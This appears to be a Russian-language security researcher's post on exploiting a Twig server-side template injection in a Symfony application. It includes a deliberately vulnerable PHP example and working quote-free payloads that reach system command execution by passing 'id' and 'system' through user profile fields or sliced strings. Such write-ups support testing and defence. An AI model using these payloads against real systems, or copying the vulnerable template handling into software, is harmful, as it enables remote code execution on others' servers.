SSTI ❤️ htmlspecialchars() — 24 июня 2026 г. в 11:11:07.933
SSTI ❤️ htmlspecialchars() Попался тут интересный проект, в котором нашлась Twig SSTI'ка, до которой, чтобы добраться, нужно обойти несколько ограничений: Удалось её обнаружить после того, как я решил поиграться с шаблонами для почты. Обычная нагрузка {{7*7}} давала по итогу 7*7. Подумав, что это может быть какой-то кривой патч, я вставил нагрузку {{{{7*7}}}} и получил в итоге 49 (никогда не думал, что встречу такой тупизм :D) ! Казалось бы, что это победа, однако если нагрузка сложнее математической операции, например, {{{{['id']|filter('system')}}}}, то ничего не отрабатывало. Поэтому я решил залезть в код и поискать эту чудо-функцию =) Ниже представлен ооочень отдалённый пример кода, чтобы был понятен контекст: <?php require_once 'vendor/autoload.php'; error_reporting(E_ERROR | E_PARSE); class User { public $username; public $secondname; public function __construct($username, $secondname) { $this->username = $username; $this->secondname = $secondname; } } $allowed = ['user.username']; function prepareVars(string $template, array $allowedKeys): string { return preg_replace_callback( '/\{\{(.*?)\}\}/i', //Регулярка для извлечения значения между {{...}} function ($matches) use ($allowedKeys) { $value = trim($matches[1] ?? ''); //Берётся наше значение if (in_array($value, $allowedKeys)) { //Оно скорее всего не подпадает под $allowedKeys return "{{ {$value} | raw }}"; } return htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); //В итоге оно попадает сюда с ENT_QUOTES }, $template ); } $username = $_GET['username'] ?? 'John'; $secondname = $_GET['secondname'] ?? 'Doe'; $user = new User($username, $secondname); $templateInput = $_GET['template'] ?? 'Guest'; $fullTemplate = 'Hello ' . $templateInput; $processedTemplate = prepareVars($fullTemplate, $allowed); $loader = new \Twig\Loader\ArrayLoader([ 'index' => $processedTemplate, ]); $twig = new \Twig\Environment($loader); echo $twig->render('index', ['user' => $user]); Отсюда мы видим причину, почему приходилось использовать 2 пары фигурных скобок, а также новую проблему - htmlspecialchars с ENT_QUOTES. Некоторое время я думал, что с этим делать, так как большинство нагрузок для RCE требуют какие-либо кавычки, а потом до меня дошло: Мне для той же нагрузки {{['id']|filter('system')}} нужно передать именно соответствующие строки, необязательно их передавать в формате с кавычками, можно передать какую-либо доступную переменную, содержащую нужное значение. Например, мы тут видим, что можем использовать поля объекта класса User: через username передать id, а через secondname передать system. По итогу будет что-то типа такого - /?template={{{{[user.username]|filter(user.secondname)}}}}&username=ls&secondname=system. В моём случае приложение было на PHP Symfony, а данные о пользователе передавались не от меня. Ознакомившись с документацией, можно узнать, что нам достаточно проставить необходимые значения в поля пользователя(просто зайти в раздел профиля УЗ и установить нужные значения), а дальше использовать их через {{app.user.*}} уже в Twig в уязвимом разделе. Если же у вас только одно контролируемое значение(например subject), а нужно передать 2 строки в SSTI, то просто в subject пихаем 2 строки вместе: idsystem. А дальше извлекаем их посимвольно: {{{{[subject|slice(0,2)]|filter(subject|slice(-6))}}}}

